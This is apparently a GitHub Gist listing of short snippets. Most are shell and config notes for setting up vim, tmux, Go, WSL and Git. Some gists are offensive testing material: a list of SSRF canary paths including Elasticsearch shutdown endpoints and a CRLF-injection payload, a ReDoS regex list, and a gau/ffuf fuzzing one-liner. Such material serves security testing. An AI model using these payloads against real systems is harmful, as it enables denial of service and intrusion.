Skip to content

Instantly share code, notes, and snippets.

@ph5i
ph5i / clipboardsupportvim.sh
Created March 5, 2025 16:25
clipboard support vim
# check if clipboard support is enabled
vim --version | grep clipboard
# output = "-clipboard"?
# proceed
# ubuntu/deb
sudo apt install vim-gtk3
# fedora
@ph5i
ph5i / change_hostname.sh
Created February 12, 2025 08:13
change hostname wsl
sudo vi /etc/hostname
<OLD> --> wsl
sudo vi /etc/hosts
:%s/<OLD>/wsl/g
sudo vi /etc/wsl.conf
[network]
hostname=wsl
generateHosts=false
@ph5i
ph5i / go_install.sh
Last active February 11, 2025 10:54
go installation that doesn't lead to 1 million path issues
wget https://go.dev/dl/go1.23.6.linux-amd64.tar.gz
rm -rf /usr/local/go && tar -C /usr/local -xzf go1.23.6.linux-amd64.tar.gz
vi ~/.zshrc
export GOPATH=/usr/local/go
export GOBIN=/usr/local/go/bin
export PATH=$PATH:$GOBIN
source ~/.zshrc
# perm issues
@ph5i
ph5i / help.md
Created February 7, 2025 12:45
tmux + vim pasting problems

Inside tmux, check your terminal type: echo $TERM

If it's something like screen or screen-256color, try changing it to: export TERM=xterm-256color

If that works, add it to your ~/.bashrc / ~/.vimrc file for persistency

@ph5i
ph5i / fast_gcm_setup_for_wsl.sh
Created February 6, 2025 12:29
fast gcm setup for wsl
#1 install latest git for windows
https://github.com/git-for-windows/git/releases/tag/v2.47.1.windows.2
#2 set gcm as the git credential helper
git config --global credential.helper "/mnt/c/Program\ Files/Git/mingw64/bin/git-credential-manager.exe"
#3 create symlink in .zshrc
if [ ! -e /usr/local/bin/git-credential-manager ]; then
sudo ln -s "/mnt/c/Program Files/Git/mingw64/bin/git-credential-manager.exe" /usr/local/bin/git-credential-manager
fi
@ph5i
ph5i / fast_vim-plug_w_coc.nvim_setup.sh
Last active February 6, 2025 12:32
fast vim-plug setup with vs-code like intellisense using coc.nvim
#1 install coc
curl -fLo ~/.vim/autoload/plug.vim --create-dirs \
https://raw.githubusercontent.com/junegunn/vim-plug/master/plug.vim
#2 install nodejs and npm
sudo apt update -y && sudo apt install nodejs npm -
#3 open ~/.vimrc and add the following
call plug#begin('~/.vim/plugged')
Plug 'neoclide/coc.nvim', {'branch': 'release'}
@ph5i
ph5i / fast_tpm_w_dracula_setup.sh
Last active February 6, 2025 12:33
fast tpm w/ dracula theme setup
#1
sudo apt update && sudo apt install tmux -y
#2
git clone https://github.com/tmux-plugins/tpm ~/.tmux/plugins/tpm
#3
git clone https://github.com/dracula/tmux ~/.tmux/plugins/dracula
#4 meh
@ph5i
ph5i / ssrf-canaries-via-get.txt
Created February 4, 2025 16:34
A list of SSRF canaries that can be verified via GET requests - full credit https://github.com/assetnote/blind-ssrf-chains
/_cluster/health
/_cat/indices
/_cat/health
/_shutdown
/_cluster/nodes/_master/_shutdown
/_cluster/nodes/_shutdown
/_cluster/nodes/_all/_shutdown
/uddiexplorer/SearchPublicRegistries.jsp?operator=http%3A%2F%2F<DOMAIN>&rdoSearch=name&txtSearchname=test&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search
/uddiexplorer/SearchPublicRegistries.jsp?operator=http://<DOMAIN>/exp%20HTTP/1.11%0AX-CLRF%3A%20Injected%0A&rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search
/status/selfDiscovered/status
@ph5i
ph5i / redos.txt
Created October 14, 2024 09:41
redos
((\w+)+)+$
((a+)+)+$
(.*\w){100}$
(.*a){100}$
([a-zA-Z]+)*$
(\\w*)+$
(\w*)+$
(\w+)*$
(\w?){100}$
(\w|a?)+$
@ph5i
ph5i / gau-ffuf-oneliner.sh
Created October 8, 2024 10:57
simple gau & ffuf oneliner
printf example.com | gau --subs | sort -u | grep -oP 'https?://[^/]+(\K/.*)' | ffuf -w - -u 'https://target.example.comFUZZ' -H "<session-cookies>"